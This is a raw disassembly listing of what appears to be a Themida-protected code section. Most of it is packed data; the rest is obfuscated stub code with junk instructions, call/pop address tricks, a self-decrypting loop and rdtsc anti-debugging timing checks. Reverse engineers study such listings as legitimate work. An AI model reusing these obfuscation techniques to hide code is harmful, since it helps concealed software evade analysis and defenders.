		dd 0CC67C2B0h, 34FFC933h, 5850F19h, 0BE000000h,	49042970h
		dd 69F78158h, 8149E3EDh, 63341FF0h, 0F4F28051h,	0CAFCE881h
		dd 0B5236238h, 60B2491h, 77DAE881h, 9D8944B7h, 60B0B39h
		dd 0E90B0489h, 12h, 0C46CB9C5h,	0E737E83Ah, 0E34B3C98h
		dd 0FA67209Fh, 8E85AFFh, 0C1000000h, 0AFC6F8Dh,	6629C9C2h
		dd 5F1638BAh, 3104E983h, 0B2949BDh, 0B4F98106h,	0FFFFF90h
		dd 1885h, 27E900h, 0C9900000h, 7FB769EFh, 40E49A0h, 23B6713Bh
		dd 4ED442CDh, 8FCA81C0h, 0E95D8C75h, 0FFFFFF66h, 9DB09DAAh
		dd 4FD2DECEh, 60EB06h, 17h dup(0)
		dd 0E9000000h, 0B1Ch, 0B10E9h, 65086800h, 0F8E90610h, 68FFFB21h
		dd 6106628h, 0FB21EEE9h, 669468FFh, 0E4E90610h,	8DFFFB21h
		dd 74914279h, 22C31021h, 8C79FAD7h, 7B944F76h, 7EC51E21h
		dd 0B18C9477h, 13C45A2h, 0D4E335D2h, 0B8959E0Fh, 129A56BBh
		dd 0C5844076h, 37E60AF9h, 63D45EFh, 937A5EB2h, 0B99F4980h
		dd 76E4D9DEh, 1D0440E4h, 0B78BC394h, 56B7B199h,	6E77C41h
		dd 881AC0FDh, 941D6064h, 7593E7C3h, 0EDD82C9Dh,	566BB019h
		dd 0DEE13BE2h, 0EC35E06Ah, 0C2D637D1h, 57DF69F3h, 0C3941D33h
		dd 0A8A04EB4h, 0F50FB9C1h, 2E0246CAh, 0A9A0F35Ah, 9FE61725h
		dd 0F2D6E137h, 7B465F0Eh, 1164E907h, 0BCCB3A20h, 2BC5398Dh
		dd 0AEB5C727h, 0F09728BCh, 64E8BD83h, 7BBE84C0h, 0D3370B3Ah
		dd 0BA879C09h, 9A54F2D6h, 362D1C6Bh, 0DE0C0F68h, 1BEFDA2Fh
		dd 0CF670927h, 3A7BBEB7h, 3753DB65h, 0B83A7BBEh, 0A5A7A442h
		dd 7BBE4501h, 9CF0CA3Ah, 0A5F32228h, 1BE226AAh,	0A4E320Dh
		dd 292471DCh, 493DB1C3h, 0DE3A7BBEh, 6BA94AE4h,	6F8D5DEh
		dd 33BD65DBh, 941DCFBBh, 0CC7A40C3h, 0F903A9F0h, 718B72C6h
		dd 0A286FA4Eh, 24719C4Eh, 0B419FF29h, 0BBD58338h, 559A26F7h
		dd 0CCD45BBh, 32374005h, 1D780CA0h, 8BCFC094h, 35845Dh
		dd 0E9140000h, 0B7D35B90h, 38C0941Dh, 0DA40EEC2h, 93750A6Fh
		dd 764B50BDh, 0CEA04E82h, 941D22A6h, 0FB5DA5C3h, 0D7DE47BDh
		dd 0F17B04FAh, 2BC5F004h, 54C835h, 6F500000h, 0BD93750Ah
		dd 941D5D29h, 494EBFC3h, 0B34C8074h, 890787A5h,	6D3EE8C3h
		dd 2FE45DCEh, 50BE3506h, 609F09h, 4D23078Ah, 33BD47BDh
		dd 941DCFBBh, 0CC7A40C3h, 0D11B3641h, 0AF3ADC24h, 0AAE1FD2Ch
		dd 0C403428h, 33BD7CE2h, 941DCFBBh, 0CC7A40C3h,	0D6F22E4h
		dd 46BA95E3h, 44D50A94h, 0D2D168E4h, 735762B5h,	0BFB001D5h
		dd 45BDBD9Fh, 87A82897h, 0B8D1B539h, 6C563A61h,	36DE3CD3h
		dd 1468DCE1h, 0C334930h, 52DC6EE2h, 613BAEDAh, 2FD9213Ah
		dd 613B27A7h, 27A6F23Ah, 36173CEDh, 17A152Ch, 6FF30000h
		dd 4DE10B08h, 0C3941D31h, 0A6224A86h, 27C3941Dh, 2D15E2DDh
		dd 6F745C9h, 2924C2FFh,	8272E1DCh, 754850BDh, 0AAA34D81h
		dd 0FFE6C59h, 0B76311F5h, 0F8376941h, 6DDC3084h, 665A2E15h
		dd 65DB52C8h, 93750A6Fh, 0CCD4CB4h, 32374005h, 11D4888Dh
		dd 944DE99Dh, 0FB047EC0h, 0DB75CAFEh, 3E06h, 0A6FEE00h
		dd 29BD9375h, 0C3941D5Dh, 948D00BFh, 0B4EB2507h, 0E345BD9Ah
		dd 33BD47BDh, 941DCFBBh, 188C40C3h, 0C3941D6Ch,	8DBB9FE3h
		dd 0B9F7580h, 386C81DEh, 7B399FF3h, 35C885h, 6F500000h
		dd 78E7750Ah, 91F42FE8h, 0F85E8837h, 1D5D29BDh,	47EC394h
		dd 0BD47BDA2h, 84084150h, 50A7A640h, 0C569FB61h, 0C3941D81h
		dd 2C123C06h, 0B4A50BDh, 6F33D5DDh, 7AE10B08h, 5492D042h
		dd 0D39D4BD9h, 948C3B5Bh, 0FA4EB4C3h, 575E0613h, 0B48B937Ah
		dd 4BA88CC0h, 0F8D5DE4Dh, 6F65DB06h, 0B493750Ah, 88B7CD38h
		dd 0CCDF85Eh, 25374005h, 45h, 6A1EBDC3h, 0B88B22A3h, 116834D2h
		dd 29BDA80Eh, 0C3941D5Dh, 0BD76E8D2h, 899F4750h, 0AAF35ABEh
		dd 41EF2397h, 50BD69AFh, 73DA7445h, 7BB31524h, 2CC885h
		dd 0F9240000h, 0B44848AEh, 69E53274h, 0A34D8175h, 750A6FBDh
		dd 5D29BD93h, 7EC3941Dh, 0D027D604h, 0BDD147E1h, 6FD7DE47h
		dd 57C92D1Ch, 0D1C8857Bh, 50000000h, 0E10B086Fh, 941D314Dh
		dd 0C8BC86C3h, 3A391461h, 0F8D5DEDAh, 0CB2BCD72h, 3A8EB9CFh
		dd 0C67539C6h, 9AEE9A12h, 1961C394h, 0DB150B25h, 750A6F65h
		dd 2A2678E7h, 3A83408Eh, 1074D8E5h, 33E4D3Ch, 0B7AD5BBFh
		dd 0CCD4CB4h, 25374005h, 4Fh, 750A6FC3h, 5D29BD93h, 0D2C3941Dh
		dd 33BD76E8h, 0DE5BBDC2h, 0DAFACE9Ch, 4D817569h, 50BDBDA3h
		dd 43870B4Ah, 6C5DA8A5h, 0CBF60FFEh, 7FE50347h,	0F504F17Bh
		dd 0BD342AC4h, 0DA744550h, 3F65h, 0BC69FB00h, 0F3975F66h
		dd 74C3941Dh, 6F7AE00Eh, 0BD93750Ah, 941D5D29h,	0D6047EC3h
		dd 1DA42044h, 422BC394h, 523073Eh, 0BD47BD1Fh, 84B1C233h
		dd 7014DC30h, 0F7C3941Dh, 9DE86583h, 857BCAACh,	14F8D5DEh
		dd 0FF6453A5h, 44C8050Eh, 941D9EECh, 545153C3h,	0FD6F5AAFh
		dd 1EC80110h, 0B95FA845h, 6427E17Dh, 2B9FF32Ch,	165082DAh
		dd 6B830D97h, 0C394181Fh, 0D8E73F90h, 2E3C1074h, 9418C286h
		dd 0D37D45C3h, 7A89297Ah, 91A0F647h, 0A4F8A6BDh, 0B1C34D9Fh
		dd 9418493Dh, 4AE4DEC3h, 9F243BBAh, 1CCE34BDh, 7A94ABF1h
		dd 0EA2E5E96h, 0B9FB3A60h, 0E835D42Ch, 261C2C35h, 0F8000000h
		dd 3E311EBDh, 0FF85F263h, 94B51377h, 4AAE94C3h,	6964B19Ch
		dd 0B5394DE5h, 0B4CCC394h, 1FC7D039h, 1FC43807h, 0ED5DEF9h
		dd 941DE2E6h, 0E0E408C3h, 67C3941Dh, 7A5EA413h,	4E594496h
		dd 0C24B8F73h, 0D83C80BDh, 0AE0E6E2Eh, 0C4DAED20h, 0A3509FDh
		dd 0B3B93D52h, 94294F3Bh, 86FAC0C3h, 0C6D3D054h, 261CBD83h
		dd 1B613Dh, 0F6C352DAh,	166C4470h, 186D98A2h, 0D43753DBh
		dd 42B83070h, 99A69A6Eh, 3CA7B8FDh, 0D9AD5B6Ah,	307086A9h
		dd 0F801EC7Ch, 53C671C5h, 9D257941h, 0DCD67054h, 0A2123BD1h
		dd 1F3F2625h, 0D9000000h, 0E10B086Fh, 941D294Dh, 0B6A49EC3h
		dd 0DE053447h, 2427h, 0B3C83500h, 0DEE93F8Eh, 86FCA30h
		dd 0DF57E10Bh, 0C3941DABh, 4628C63Ch, 941D4E2Eh, 13D921C3h
		dd 0B9BA97E2h, 154C85Bh, 9A240000h, 941D7612h, 6781F9C3h
		dd 710E6FF1h, 0DE65DB9Fh, 0B406F8D5h, 50CCD4Ch,	63253740h
		dd 0C3000000h, 9F710E6Fh, 1D5D29BDh, 0BFC394h, 0F5935839h
		dd 76129AA3h, 0F9C394D7h, 8483AD81h, 3741ACBEh,	0CCFDFF18h
		dd 6BDD7D7h, 47BD72E8h,	0CFBB33BDh, 4EC3941Dh, 40840845h
		dd 3C0116F7h, 0F6107448h, 27350417h, 1D751195h,	15FAC394h
		dd 347CB06h, 7B1B012Fh,	27C885h, 0F9240000h, 0E82C90AFh
		dd 0E6FD83Eh, 0D559EB71h, 0C3941DB1h, 3C22CC36h, 1D5D29BDh
		dd 47EC394h, 0DE47BDA2h, 7B18FED3h, 0F8D5DE85h,	6F65DB06h
		dd 0B493750Ah, 50CCD4Ch, 4F253740h, 0B7000000h,	81B23B08h
		dd 29C710C0h, 750A6F33h, 5D29BD93h, 0BFC3941Dh,	0E10F464Eh
		dd 246EE62h, 85C3941Dh,	0BDE759BDh, 21D7DE47h, 0F207944Bh
		dd 0E01F73C7h, 0BF935C4Ch, 4F17BD9h, 1A7EC2FFh,	33BD76ECh
		dd 941DCFBBh, 0CC7A40C3h, 3357h, 0A6FF100h, 50BD9375h
		dd 42860A47h, 26A2CAA4h, 5C3941Dh, 47BD2B8Dh, 764B50BDh
		dd 172275D8h, 5733BBC5h, 98C3941Dh, 0EF56E98Eh,	69512EF6h
		dd 857B59BFh, 0BFFD6DEh, 941DAADBh, 9B2A68C3h, 0C12B2272h
		dd 48495C9Ah, 9BB56C26h, 0D6DE38D8h, 52A20BFFh,	0EF29977Bh
		dd 32E55ADEh, 0B98E9206h, 0A2F25BF5h, 342648ABh, 2CC3946Eh
		dd 404E924Eh, 0FE8F8932h, 0A757FFFFh, 0C3941D27h, 941C2FDFh
		dd 1DB4D7C3h, 242C394h,	0E0C3941Dh, 3DEBE635h, 941DD9A9h
		dd 1DA121C3h, 0B910394h, 0E358EA70h, 1AD09DF4h,	0D79F49A3h
		dd 0FD99C1ABh, 0C934261Ch, 300D12BAh, 0FA1468DCh, 0FD861616h
		dd 7932F06Fh, 3E82BFC4h, 18513DDAh, 68FC6E98h, 846D4FBDh
		dd 2D59CD5Fh, 0A2F0734Fh, 6951AE58h, 6AA3D39Eh,	53341E4Ch
		dd 26Dh, 6EF5CCD6h, 985B7681h, 362D1C6Fh, 61F2C1D9h, 92417C84h
		dd 0DB213C23h, 898E7FE4h, 367EAFB4h
		dd 0DE2BC41Fh, 618B70E3h, 8478B9CDh, 0D9BF0EC5h, 72F8D5DEh
		dd 0AADE56E0h, 3DC3941Dh, 1D790DC5h, 61CEC394h,	73573B16h
		dd 119F11Fh, 0E87AE07Bh, 6FD3EE3Dh, 669FD2Bh, 0F7BD83F2h
		dd 0BECE5083h, 8E3A7BBEh, 758755EEh, 0F94D7088h, 209B6B85h
		dd 39446C53h, 99EA1BC1h, 4D56B7ACh, 2CA48C70h, 1C304B5Bh
		dd 8471FB80h, 0CAA4427Fh, 5CB445A2h, 0EA3AEB4Eh, 0FD2B6FD3h
		dd 0C736241Eh, 0B35C87B2h, 55E76B66h, 364A8EE6h, 9A639AF4h
		dd 0F4C8BC89h, 213A425Ah, 3CB0B33Bh, 41B9504Dh,	2F166A9Bh
		dd 41C9675Bh, 22C85329h, 3D81358Ah, 2E3C065Ah, 449FAAFFh
		dd 9F635EABh, 7954A04Dh, 0CF97B195h, 223A27BFh,	8456ED8Fh
		dd 2E087F60h, 2B709D5Ch, 271BF816h, 0F77F8953h,	18098093h
		dd 475F2E14h, 0AECECE78h, 0C8354795h, 0C63A8EB3h, 84B55C28h
		dd 300A6602h, 0BF5FAC37h, 0F057B3AAh, 14Dh, 4E95ACF6h
		dd 0F87B56A1h, 16CDFC0Fh, 4192A1F9h, 0F2615CA4h, 0BBC11C43h
		dd 69AE5F84h, 161E8F54h, 0BECB243Fh, 41AB5083h,	847B592Dh
		dd 0F95F2EC5h, 0E7AD0D6Fh, 61B3DDCFh, 980CDE32h, 0BD835EF7h
		dd 0A09FE748h, 411F8DCh, 961D5C9h, 0F002E873h, 6452087Ch
		dd 8DBB9F3Ah, 6CB64BE3h, 3307446Fh, 6CB3B934h, 857AC88Ch
		dd 0E1h, 0D201384Ah, 0CD7E235h,	0BAB990E3h, 0D50E354Dh
		dd 6DDE038h, 4F55A8BFh,	0FD02E370h, 0A2F213C0h,	4A5F48ABh
		dd 0D517E47Fh, 847B3551h, 55CBBAC5h, 0CFBB33BDh, 40C3941Dh
		dd 0D9AD9CEFh, 576781E5h, 0C12C3E45h, 0FC6E98B7h, 83F27F68h
		dd 68AF0BDh, 9DE24257h,	76974CA0h, 4CAC102Dh, 0ADC12B30h
		dd 446C5316h, 92C91367h, 7D3BCC81h, 81FC2FA4h, 662607B0h
		dd 8103E402h, 5D8BFF77h, 261C304Bh, 8C704F57h, 58AF9E48h
		dd 0E1D8A69h, 0BFC72033h, 24D15380h, 2A2770D0h,	0BA0E62A6h
		dd 91A0F746h, 0CE3FE92Dh, 0BF688BCAh, 6C995A65h, 0D5C02A17h
		dd 0C80CF0CFh, 5CA8451Eh, 15F261h, 73A22E35h, 61A52920h
		dd 0C3146C7h, 6EF587D7h, 0B0D368FCh, 56AC4E5Ch,	0D3EE3BE2h
		dd 3F100h, 841B0000h, 0FDD4DE9Ch, 7A57A009h, 0E6D12796h
		dd 6F52AB12h, 0D7EE329Bh, 5F66BA63h, 0C5FC02EBh, 40798871h
		dd 0CFFA0DFCh, 3768CF7Bh, 89000061h
; ---------------------------------------------------------------------------
		add	al, 24h
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], ebp
		push	73EFh
		mov	[esp], ebx
		push	eax
		push	edx
		mov	edx, 510B2F31h
		or	edx, 766645B7h
		shl	edx, 6
		sub	edx, 0C15FB7AAh
		mov	eax, edx
		pop	edx
		add	eax, 78296C42h
		add	eax, 736ABAFBh
		mov	ebp, eax
		pop	eax
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	ebx
		sub	esp, 4
		mov	[esp], ebp
		add	dword ptr [esp], 194240FAh
		pop	dword ptr [ebx+8]
		sub	dword ptr [ebx+8], 194240FAh
		mov	ebx, [esp]
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		mov	ebp, [esp]
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		jmp	loc_543FDB
; ---------------------------------------------------------------------------
		dw 6326h
		dd 0B4DE589Ah, 0BBBA1337h, 679AB84Ch, 0C5030610h, 0FE8C38Bh
		dd 48000000h, 0E37C9C8h, 502D576Ah, 0E46CD956h,	0B96687CEh
		dd 0E95B6738h, 6, 0D1B08134h, 0C381DAFBh, 6A1Ch, 0CE9h
		dd 0C7198C00h, 0FBDB3B86h, 1F0601D4h, 80D22BDCh, 34FF64F0h
		dd 5FCC8A1Ah, 7E9h, 5879F100h, 1FD58DF7h, 0A30BEF81h, 0AB85082h
		dd 81367635h, 0B497EDC7h, 0C6EF8155h, 0E9596F26h, 0Fh
		dd 0CAEC4D14h, 0CAE7C998h, 0D565C01h, 570B638Dh, 48FC68Bh
		dd 15BEBE13h, 8E0F7E9Fh, 0Dh, 356BBF60h, 8C0F3A65h, 0
		dd 2EA8361h, 0BCD48056h, 814A4A58h, 0A64CA7DEh,	94FA815Eh
		dd 0FFFFF96h, 0FFFF8985h, 8DEE8AFFh, 1069BD8Dh,	89E4B306h
		dd 0B174D8Dh, 8D096006h, 60B0051h, 0C7614AB1h, 0B011985h
		dd 647406h, 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1504h, 0C3504000h, 0B58B7F43h, 60B2F29h, 0DE9h, 0F8113800h
		dd 5BA1351Dh, 29FE7348h, 85C7DE98h, 60B1009h, 0
; ---------------------------------------------------------------------------
		push	eax
		sub	esi, [ebp+60B085Dh]
		pop	ebx
		push	edi
		pop	ebx
		push	dword ptr [ebp+60B1AA9h]
		jmp	loc_592A35
; ---------------------------------------------------------------------------
		db 0E2h, 80h, 0E7h
; ---------------------------------------------------------------------------
		retf
; ---------------------------------------------------------------------------
		mov	ebp, 6CFD3894h
		enter	2A7Dh, 8Dh
		retf	72BFh
; ---------------------------------------------------------------------------
		db 8Bh,	71h, 66h
		db 62h
; ---------------------------------------------------------------------------


loc_592A35:				; CODE XREF: Themida_:00592A1Cj
		mov	eax, [ebp+60B19EDh]
		call	dword ptr [ebp+60B0AC5h]
		jmp	loc_592A5A
; ---------------------------------------------------------------------------
		dw 541Eh
		dd 0B744E9A8h, 5CFFEC70h, 45EF5574h, 0BD6BCAF1h
		db 74h,	0B4h
; ---------------------------------------------------------------------------


loc_592A5A:				; CODE XREF: Themida_:00592A41j
		push	0
		call	dword ptr [ebp+60B32DDh]
		mov	eax, eax
		jmp	short loc_592AB5
; ---------------------------------------------------------------------------
		dw 0C07h
		dd 0A008D39Fh, 6C3AD078h, 97D7163Fh, 0C5C72EB9h, 0CB6EAD0Bh
		dd 0E4B90DCAh, 633CF005h, 6A1DF768h, 0B3DE9184h, 555A46ADh
		dd 805A23F5h, 0DAA6F02Fh, 0EAD92CE4h, 6427F937h, 625378E9h
		dd 538C51DDh, 760F6A56h, 160DA97Ah, 361E4195h
; ---------------------------------------------------------------------------
		push	ebx


loc_592AB5:				; CODE XREF: Themida_:00592A64j
		jmp	loc_592C11
; ---------------------------------------------------------------------------
		push	0
		push	edi
		call	sub_592AC5
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_592AC5	proc near		; CODE XREF: Themida_:00592ABDp

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 14h
		inc	edi
		push	edi
		retn
sub_592AC5	endp

; ---------------------------------------------------------------------------
		db 13h,	0E9h, 0Bh
		dd 73000000h, 6763C9ACh, 8BB8647h, 0E960C3B8h, 9, 960A9845h
		dd 0EDE7F23Ah, 611CB4EAh, 6AAEB58Dh, 0CE90610h,	2E000000h
		dd 0EAE0B2D5h, 1D784338h, 8D2BF3B5h, 0E4D7E85h,	0CE906h
		dd 0F0500000h, 0FF221291h, 13DCFAF2h, 0D0FF18C9h, 1840Fh
		dd 0C3F50000h, 0BE860h,	43310000h, 0D6BD6D83h, 0A3324C73h
		dd 0D9BF0F5Fh, 0A291B85Eh, 0F613392h, 18Eh, 8C66FC00h
		dd 59BE60D9h, 0E847E702h, 6, 0CE905D72h, 13E9F0BBh, 0A4000000h
		dd 0C70D4059h, 0D13607Ah, 5D94C0E8h, 4C35F612h,	6158D54Ch
		dd 0F04C1F6h, 3F84h, 1850F00h, 0FC000000h, 0CB8BFB8Bh
		dd 75AEC032h, 0F7CF2BFDh, 8BF92BD9h, 0D98B49D7h, 20CD00EBh
		dd 1013Fh, 1874C00Bh, 8B0C708Dh, 0A6CB8BFAh, 75490A75h
		dd 1B8FAh, 9EB0000h, 0E4EB008Bh, 0B8h, 6660CF00h, 0B1E4C781h
		dd 860F6061h, 6, 800Fh,	13E80000h, 7F000000h, 0A2C0E6E1h
		dd 9FA25DA4h, 48032F29h, 3DBFBB6Bh, 10E9B2AEh, 53000000h
		dd 0A32890C7h, 61E5914Dh, 83008782h, 59EA00D8h
; ---------------------------------------------------------------------------
		popa


loc_592C11:				; CODE XREF: Themida_:loc_592AB5j
		mov	dword ptr [ebp+6106B04h], 1013Fh
		jmp	loc_592D5C
; ---------------------------------------------------------------------------
		dd 4Fh dup(0)
; ---------------------------------------------------------------------------


loc_592D5C:				; CODE XREF: Themida_:00592C1Bj
		cmp	dword ptr [ebp+60B2859h], 1
		jz	loc_5931C8
		pusha
		jp	loc_592D75
		mov	edx, 66CA4844h


loc_592D75:				; CODE XREF: Themida_:00592D6Aj
		mov	edi, 1BF9488Ch
		popa
		mov	byte ptr [ebp+60B2845h], 43h
		jmp	loc_592D9A
; ---------------------------------------------------------------------------
		db 12h
		dd 0A74BE0D9h, 890EB4C7h, 0EC67A255h, 9D39F7A4h
		db 0DDh, 0F2h
; ---------------------------------------------------------------------------


loc_592D9A:				; CODE XREF: Themida_:00592D82j
		push	0FBCF2E8Dh
		jnz	loc_592DB7
		push	eax
		push	edx
		jle	$+6
		rdtsc
		push	eax
		push	edx
		rdtsc
		pop	edx
		pop	eax
		pop	edx
		pop	eax


loc_592DB7:				; CODE XREF: Themida_:00592D9Fj
		xor	dword ptr [esp], 176AFE78h
		cld
		push	dword ptr [ebp+60B1355h]
		jnz	loc_592DD7
		jz	loc_592DD7
		jz	$+6


loc_592DD7:				; CODE XREF: Themida_:00592DC5j
					; Themida_:00592DCBj
		lea	eax, [ebp+60E7D18h]
		jmp	loc_592DEE
; ---------------------------------------------------------------------------
		dw 0CBDAh
		dd 38333106h, 3F8FF292h
		db 93h,	30h
; ---------------------------------------------------------------------------


loc_592DEE:				; CODE XREF: Themida_:00592DDDj
		call	eax
		pusha
		mov	dl, ah
		popa
		mov	[ebp+60B28F1h],	eax
		push	0
		push	edi
		call	sub_592E05
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_592E05	proc near		; CODE XREF: Themida_:00592DFDp

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 1Ch
		inc	edi
		push	edi
		retn
sub_592E05	endp

; ---------------------------------------------------------------------------
		pop	ds
		mov	esp, 68BF00F3h
		mov	bl, 77h
		mov	cl, 60h
		sub	dl, 0FCh
		call	near ptr loc_592E34+2
		sbb	cl, [edx]
		adc	[edx+40A9F794h], ah
		cmp	eax, 0C9319C79h


loc_592E34:				; CODE XREF: Themida_:00592E22p
		mov	esi, 1EBA6648h
		push	5Ah
		popa
		mov	byte ptr [ebp+60B2845h], 50h
		stc
		pusha
		sub	edi, 42895003h
		popa
		push	5632297Bh
		jmp	loc_592E67
; ---------------------------------------------------------------------------
		dw 667Ch
		dd 953ECDC7h, 0E5C521D9h, 91B9001Dh
		db 39h,	0A7h, 0D5h
; ---------------------------------------------------------------------------


loc_592E67:				; CODE XREF: Themida_:00592E51j
		add	dword ptr [esp], 527B83DBh
		cmc
		push	dword ptr [ebp+60B1355h]
		clc
		lea	eax, [ebp+60E7D18h]
		push	0
		push	edx
		call	sub_592E87
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_592E87	proc near		; CODE XREF: Themida_:00592E7Fp

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 1Dh
		inc	edx
		push	edx
		retn
sub_592E87	endp

; ---------------------------------------------------------------------------
		db 66h
		dd 0EB4F0DD8h, 0A6C77996h, 0B8C0FF7h, 60000000h, 0CBFFF081h
		dd 0D18009B3h, 0D0FF61BBh, 0C870F60h, 0E8000000h, 6, 7EE82B4Eh
		dd 505F69E2h, 615AA8B5h, 1F598589h, 0AE9060Bh, 33000000h
		dd 0A83C07BCh, 1480B9E1h, 0CA68F8C3h, 50DA8189h, 6870F52h
		dd 0F000000h, 89h, 60310F00h, 6E96160h,	97000000h, 37C740D3h
		dd 585A61CCh, 0E5243481h, 0F2A0E21h, 28Bh, 0FF616000h
		dd 0B1355B5h, 1820F06h,	0FC000000h, 7D18858Dh, 14E9060Eh
		dd 0A3000000h, 0CAEB332Ah, 690852Dh, 73D3B8F8h,	6F62651Bh
		dd 0FF860E5Bh, 6E9D0h, 7ACE0000h, 9DA59DD1h, 21718589h
		dd 6A060Bh, 3E850h, 58200000h, 448958C3h, 44810424h, 160424h
		dd 50400000h, 0B9EB98C3h, 6E9h,	7AD03800h, 0C6A18243h
		dd 0B284585h, 0E8F95006h, 4, 979CDC56h,	0CE960h, 0B52E0000h
		dd 89FAC1C6h, 0AC249499h, 8B661668h, 505061D8h,	0CE952h
		dd 99450000h, 0E24EC6D8h, 1E0A90D9h, 310F8B09h,	0F525060h
		dd 8B585A31h, 585A61CAh, 424448Bh, 0DE860h, 65ED0000h
		dd 0AB825DC4h, 33CD7AD2h, 57F1ADF4h, 8B615F5Ah,	12820F00h
		dd 50000000h, 0F525052h, 0F585A31h, 860F31h, 5A000000h
		dd 24448958h, 9E904h, 1A1F0000h, 52A2AE6Dh, 589CC33Dh
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 14h, 0D4C35242h
		dd 1B5FFF8h, 60060B0Bh,	2890Fh,	61600000h, 0B70F6061h
		dd 5F5750F0h, 858D6158h, 60B390Dh, 7830Fh, 0B8600000h
		dd 7F10A19h, 60D0FF61h,	2840Fh,	0FE8B0000h, 3CDABF66h
		dd 45858961h, 0E9060B2Eh, 13h, 0E7C2303Eh, 6ED831FDh, 0DB37EC48h
		dd 0BF937CE7h, 0E99C6A85h, 13Ch, 0CE9h,	0DB564200h, 724615F4h
		dd 365B376Ch, 8D0F5056h, 0Ch, 6890Fh, 860F0000h, 0
; ---------------------------------------------------------------------------
		mov	[esp], ebp
		jl	loc_5930BA
		cld


loc_5930BA:				; CODE XREF: Themida_:005930B3j
		mov	ebp, esp
		jmp	loc_5930D3
; ---------------------------------------------------------------------------
		db 0BFh, 2Fh, 0F9h
		dd 8268286Fh, 2EEE8888h, 8774C66Eh
		db 92h,	0F7h, 67h
; ---------------------------------------------------------------------------


loc_5930D3:				; CODE XREF: Themida_:005930BCj
		add	esp, 0FFFFFFFCh
		stc
		pusha
		push	0
		push	edx
		call	sub_5930E3
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5930E3	proc near		; CODE XREF: Themida_:005930DBp

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 15h
		inc	edx
		push	edx
		retn
sub_5930E3	endp

; ---------------------------------------------------------------------------
		db 8Dh
		dd 18E0FEFh, 0F9000000h, 0E8h, 0EA815A00h, 610705Dh, 0FC45C7h
		dd 83000000h, 0B2859BAh, 840F0106h, 98h, 6A006A52h, 0F192FF0Fh
		dd 5A060B28h, 6B7C8289h, 9A8D0610h, 6106B80h, 2803C752h
		dd 53000001h, 5992FF50h, 5A060B1Fh, 809A8D52h, 5306106Bh
		dd 6B7CB2FFh, 92FF0610h, 60B2E45h, 74C00B5Ah, 809A8D50h
		dd 8D06106Bh, 0C933247Bh, 104F981h, 0D4740000h,	393C8141h
		dd 4558452Eh, 348DEE75h, 0C752B39h, 2B7DBA8Dh, 4D8B060Bh
		dd 32A4F30Ch, 0FF52AAC0h, 828D0875h, 60B2B7Dh, 7192FF50h
		dd 5A060B21h, 0A075C00Bh, 1FC45C7h, 0EB000000h,	0FC45C707h
		dd 0
; ---------------------------------------------------------------------------
		popa
		mov	eax, [ebp-4]
		leave
		retn	8
; ---------------------------------------------------------------------------
		jmp	loc_5931C7
; ---------------------------------------------------------------------------
		db 61h,	0E6h, 40h
		db 0D0h, 12h, 2Bh
; ---------------------------------------------------------------------------


loc_5931C7:				; CODE XREF: Themida_:005931BCj
		cmc


loc_5931C8:				; CODE XREF: Themida_:00592D63j
		mov	edx, edx
		call	sub_5931D8
		sbb	al, 0E3h
		mov	esi, 0A78A82A2h
		sub	al, 32h

; =============== S U B	R O U T	I N E =======================================



sub_5931D8	proc near		; CODE XREF: Themida_:005931CAp
		movzx	ecx, di
		pop	eax
		jmp	loc_5931EF
; ---------------------------------------------------------------------------
		db 0F6h, 0C2h, 0FDh
		dd 5C1114BEh, 0D704DAC6h
		db 0A5h, 0CFh, 0C1h
; ---------------------------------------------------------------------------


loc_5931EF:				; CODE XREF: sub_5931D8+4j
		add	eax, 6B52h
		mov	ch, ah
		mov	esi, 42701B0Fh
		xor	esi, 427001AEh
		jmp	loc_59321B
; ---------------------------------------------------------------------------
		db 92h
		dd 1DECAE0Fh, 53185641h, 0FC221182h, 40A73ECFh
		db 4Bh,	0C7h, 0D8h
; ---------------------------------------------------------------------------


loc_59321B:				; CODE XREF: sub_5931D8+2Aj
					; sub_593262+36j
		push	dword ptr [eax]
		mov	edi, 5140089Ah
		pop	edx
		adc	bl, 74h
		add	edx, 0D454550h
		js	loc_59324B
		pusha
		jmp	loc_593244
; ---------------------------------------------------------------------------
		inc	ecx
		mov	eax, 1120D9D2h
		xor	[edi-9DC4E69h],	bl


loc_593244:				; CODE XREF: sub_5931D8+5Bj
		adc	ecx, 64A3691Dh
		popa


loc_59324B:				; CODE XREF: sub_5931D8+54j
		xor	edx, 28C85E77h
		jno	loc_593266
		call	sub_593262
		mov	eax, 4A1D1732h
		xchg	eax, ecx
sub_5931D8	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_593262	proc near		; CODE XREF: sub_5931D8+7Fp
		add	cl, 0EAh
		pop	ebx


loc_593266:				; CODE XREF: sub_5931D8+79j
		add	edx, 194EFAC4h
		pusha
		mov	ah, bl
		pusha
		mov	edx, 15D38682h
		cmc
		popa
		popa
		push	edx
		xor	di, 7CDFh
		pop	dword ptr [eax]
		adc	bx, 49F9h
		sub	eax, 3
		mov	bx, ax
		dec	eax
		add	edi, 105243C1h
		sub	esi, 1
		jnz	loc_59321B
		or	cl, 48h
		call	near ptr loc_5932B1+3
		mov	cl, 0Dh
		db	2Eh
		shr	ecx, cl
		or	eax, 79FE43D6h
		pop	ds


loc_5932B1:				; CODE XREF: sub_593262+3Fp
		sub	[edi-7499A810h], ebp
sub_593262	endp ; sp-analysis failed

		lock pop eax
		pop	ecx
		mov	si, bx
